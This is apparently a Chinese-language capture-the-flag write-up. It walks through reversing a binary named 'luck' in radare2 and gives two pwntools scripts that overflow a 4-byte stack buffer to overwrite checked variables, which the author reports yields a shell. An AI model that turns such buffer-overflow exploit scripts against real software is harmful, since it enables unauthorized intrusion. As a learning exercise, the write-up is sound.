Step1 - 執行看看
先去執行看看,它會讓我們輸入東西
Step2 - 分析第一階段
我們可以先用 r2 去分析第一階段要做什麼
$ r2 ./luck #進入 r2
> aa #分析
> afl #列出 function,其中我們可以看到 main()
> s main #進到 main()
> VV #visual mode
Step3 - 進入visual mode
技巧:從call function 看(綠色的)
call function 的前面(mov…)在設定 call function 的參數
從這裡可以看到它會去比較(cmp
)兩次,都是 true 的話會有個 “Hello hacker,now guess the password”,所以我們的目標是進入這裡
Step4 - 看一下 main function 有哪些區域變數
將上面這些整理為
rbp 位於藍色與綠色塊中間
Step5 - 看一下 random
可以看到 random call 完後,eax 就會回傳產出的 random 值,將它存在 var_ch
內
Step6 - 看一下能夠輸入多少字
在 read function 可以看到 buff
在var_20h
mov edx, 0x64
可以看出我們可以輸入 64 個 bytes
從這張圖可以看到 var_20h
,也就是 buffer,只有 4 個 bytes,但我們卻可以輸入 64 個,因此我們可以做 overflow的大小為 64 - 4 = 60,藍色的範圍都是我們可以控制的
Step7 - 確認 address
從剛才的cmp
那裡可以看到,我們須滿足下面兩個條件local_14h = 0xfaceb00c
local_10h = 0xdeadbeef
因此我們寫一個 python 去 exploit,去作出下面的結構
從這裡可以看到我們輸入的地方在第三行,而第二行後還有一個\n
from pwn import *
r = process('./luck')
r.recvuntil('\n') # 吃掉第一行
r.recvuntil('\n') # 吃掉第二行
r.sendline('a'*12 + p32(0xfaceb00c) + p32(0xdeadbeef)) #p32(0x4->32bytes)
r.interactive()
執行後可以看到我們通過了第一階段
Step8 - 分析第二階段
scanf()
有二個參數,第一個參數是 format,我們去看一下s 0x400a93
然後跳到 Hex mode
在0x40093
可以看到它吃的是%d
(代表整數)
讀一個整數進來後會存到 var_1ch
剛才有題到 random 會存在 var_ch
Step9 - 寫script
從這裡可以看到 var_1ch
要等於 var_ch
雖然我們不知道var_ch
是什麼,但我們可以把它覆蓋掉阿~
可以把它改成1
from pwn import *
r = process('./luck')
r.recvuntil('\n') # 吃掉第一行
r.recvuntil('\n') # 吃掉第二行
r.sendline('a'*12 + p32(0xfaceb00c) + p32(0xdeadbeef) + p32(0x1))
r.interactive()
接著我們輸入1
後就可以拿到 shell 了!